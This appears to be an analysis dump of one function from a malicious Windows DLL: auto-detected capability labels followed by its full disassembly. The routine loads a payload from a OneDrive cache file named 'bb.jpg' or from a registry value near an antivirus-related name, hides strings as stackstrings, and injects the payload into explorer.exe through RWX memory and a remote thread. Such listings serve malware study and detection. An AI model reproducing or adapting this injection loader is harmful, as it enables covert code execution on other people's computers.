Function at 0x180002268
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Get common file path
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov qword [rbp - 0x40], 0xfffffffffffffffe
xor r13d, r13d
mov qword [rbp + 0x568], r13
mov dword [rbp + 0x558], r13d
movups xmm0, xmmword [0x180031190]
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x70], r13
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x38]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov r8, qword [rbp - 0x70]
lea rdx, str._sOneDrive
lea rcx, [rbp + 0x300]
call fcn.180006a94
lea r8, [rbp + 0x300]
lea rdx, str._scache
lea rcx, [rbp + 0xf0]
call fcn.180006a94
mov qword [rsp + 0x58], 7
mov qword [rsp + 0x50], r13
mov word [rsp + 0x40], r13w
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0xf0]
repne scasw ax, word [rdi]
not rcx
lea esi, [rax + 1]
sub rcx, rsi
mov r8, rcx
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x40]
call fcn.1800056d0
nop
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x180002363
mov r8d, esi
lea rdx, [0x18003629c]
lea rcx, [rsp + 0x40]
call fcn.18000557c
mov r8d, 6
lea rdx, [0x1800362a0]
lea rcx, [rsp + 0x40]
call fcn.18000557c
lea r8, [rbp + 0x558]
lea rdx, [rbp + 0x568]
lea rcx, [rsp + 0x40]
call fcn.180001fd8
test al, al
je 0x1800023c3
lea rdx, str.Successfully_read_content_from_bb.jpg.
lea rcx, [0x18003e170]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
jmp 0x180002535
mov dword [rbp + 0x560], 0x736e6f43
mov dword [rbp + 0x564], 0x656c6f
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x560]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180002430
lea rdx, str.Failed_to_open_registry_key.
lea rcx, [0x18003e410]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
nop
jmp 0x1800027c0
mov ebx, r13d
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov dword [rbp + 0x550], 0x104
lea r9, [rbp + 0x550]
lea r8, [rbp - 0x20]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x18000252a
lea rdx, str.huorong
lea rcx, [rbp - 0x20]
call fcn.18000c254
test rax, rax
je 0x1800024ed
mov qword [rbp - 0x50], 0xf
mov qword [rbp - 0x58], r13
mov byte [rbp - 0x68], r13b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x20]
repne scasb al, byte [rdi]
not rcx
sub rcx, rsi
mov r8, rcx
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x68]
call fcn.180004f78
nop
lea r9, [rbp + 0x558]
lea r8, [rbp + 0x568]
lea rdx, [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.18000216c
mov dil, al
cmp qword [rbp - 0x50], 0x10
jb 0x1800024e8
mov rcx, qword [rbp - 0x68]
call fcn.18000cdbc
test dil, dil
jne 0x1800024f6
add ebx, esi
mov edx, ebx
jmp 0x180002435
lea rdx, str.Successfully_read_content_of_registry_value:
lea rcx, [0x18003e170]
call fcn.180006664
mov rcx, rax
lea rdx, [rbp - 0x20]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x568], r13
je 0x180002797
mov edi, dword [rbp + 0x558]
test edi, edi
je 0x180002797
mov dword [rsp + 0x70], 0x780065
mov dword [rsp + 0x74], 0x6c0070
mov dword [rsp + 0x78], 0x72006f
mov dword [rsp + 0x7c], 0x720065
mov dword [rbp - 0x80], 0x65002e
mov dword [rbp - 0x7c], 0x650078
mov word [rbp - 0x78], r13w
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, 0xffffffffffffffff
je 0x1800025a3
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180001f5c
jmp 0x1800025a6
mov eax, r13d
test eax, eax
jne 0x1800025d8
lea rdx, str.Failed_to_find_PID_of_explorer.exe.
lea rcx, [0x18003e410]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
nop
jmp 0x1800027c0
mov r8d, eax
mov edx, esi
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x18000261e
lea rdx, str.Failed_to_open_explorer.exe_process.
lea rcx, [0x18003e410]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
nop
jmp 0x1800027c0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x180002679
lea rdx, str.Failed_to_allocate_memory_in_explorer.exe_process.
lea rcx, [0x18003e410]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1800027c0
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, qword [rbp + 0x568]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800026e4
lea rdx, str.Failed_to_write_data_to_explorer.exe_process.
lea rcx, [0x18003e410]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1800027c0
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
jne 0x180002755
lea rdx, str.Failed_to_create_remote_thread_in_explorer.exe.
lea rcx, [0x18003e410]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1800027c0
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x568]
call fcn.18000cdb4
nop
jmp 0x1800027c0
lea rdx, str.Pdata_is_NULL_or_empty._Unable_to_proceed.
lea rcx, [0x18003e410]
call fcn.180006664
mov rdi, rax
mov dl, 0xa
mov rcx, rax
call fcn.1800028f8
mov rcx, rdi
call fcn.180002a14
nop
cmp qword [rsp + 0x58], 8
jb 0x1800027d2
mov rcx, qword [rsp + 0x40]
call fcn.18000cdbc
add rsp, 0x610
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret